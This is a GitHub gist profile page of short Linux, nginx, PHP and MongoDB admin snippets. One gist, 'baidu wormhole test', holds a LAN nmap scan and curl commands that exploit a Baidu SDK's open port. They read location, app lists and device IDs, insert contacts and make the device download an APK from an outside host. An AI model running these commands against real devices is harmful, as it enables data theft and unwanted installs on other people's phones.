Skip to content

Instantly share code, notes, and snippets.

View tqyq's full-sized avatar

altman tqyq

  • Earth
View GitHub Profile
@tqyq
tqyq / git password free
Created December 17, 2015 02:09
git password free
git config --global credential.helper store
@tqyq
tqyq / linux find and replace in dir
Created December 8, 2015 07:57
linux find and replace in dir
find /home/app/* -type f -exec sed -i -e 's/wx.91qutui.com\/open\/beesdk.php/wx.h5pop.com\/open\/beesdk.php/g' {} \;
@tqyq
tqyq / php cli get parameter
Created December 7, 2015 02:56
php cli get parameter
<?php
parse_str(implode('&', array_slice($argv, 1)), $_GET);
echo $_GET['test'];
@tqyq
tqyq / linux find lost disk space
Created November 30, 2015 02:26
linux find lost disk space
In my case the df -h and du -sh mismatched by about 50% of the hard disk size.
This was caused by nginx keeping large log files in memory which had been deleted from disk.
The situation was then resolved by restarting nginx
@tqyq
tqyq / nginx limit api rate
Created November 24, 2015 02:34
nginx limit api rate
http {
limit_req_zone $binary_remote_addr zone=www:10m rate=1r/s;
}
server {
#limit in server or location
#limit_req zone=www burst=5 nodelay;
location ~ .*\.php($|/) {
limit_req zone=www burst=5 nodelay;
}
@tqyq
tqyq / baidu wormhole test
Last active August 14, 2016 04:06
baidu wormhole test
nmap -sT -sV -p6259,40310 -P0 -n 192.168.2.0/24
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getlocstring?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getapplist?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getcuid?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/downloadfile?mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506&querydown=download&downloadurl=http://pub.tsingyuan.cn/wtest.apk&savepath=test&filesize=1"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/addcontactinfo?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506&postdata=\[\{\"name\":\"zzzz\",\"starred\":\"1\"\}\]"
@tqyq
tqyq / centos install nginx php mongo
Created October 15, 2015 06:30
centos install nginx php mongo
=============================
tools
rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
yum install -y lrzsz nmap subversion rsync mlocate flex byacc libpcap ncurses ncurses-devel libpcap-devel lsof openssl-devel
yum -y groupinstall "Development Tools"
wget -c http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz
yum install -y httpd-tools
=============================
nginx
@tqyq
tqyq / mongodb profile find slow query
Created October 14, 2015 02:43
mongodb profile find slow query
db.setProfilingLevel(1, 100);
首先打开php的错误信息提示功能,在其已ubuntu为测试环境
vim /etc/php5/fpm/php.ini
打开错误提示
display_errors = On
因为用到的四fpm与nginx配合,所以还需要修改php-fpm.conf文件
vim /etc/php5/fpm/php-fpm.conf
再最后添加
@tqyq
tqyq / ps get php memory usage
Last active November 30, 2015 02:27
ps get php memory usage
total=0; for i in `ps -C php-fpm -o rss=`; do total=$(($total+$i)); done; echo "Memory usage: $total kb";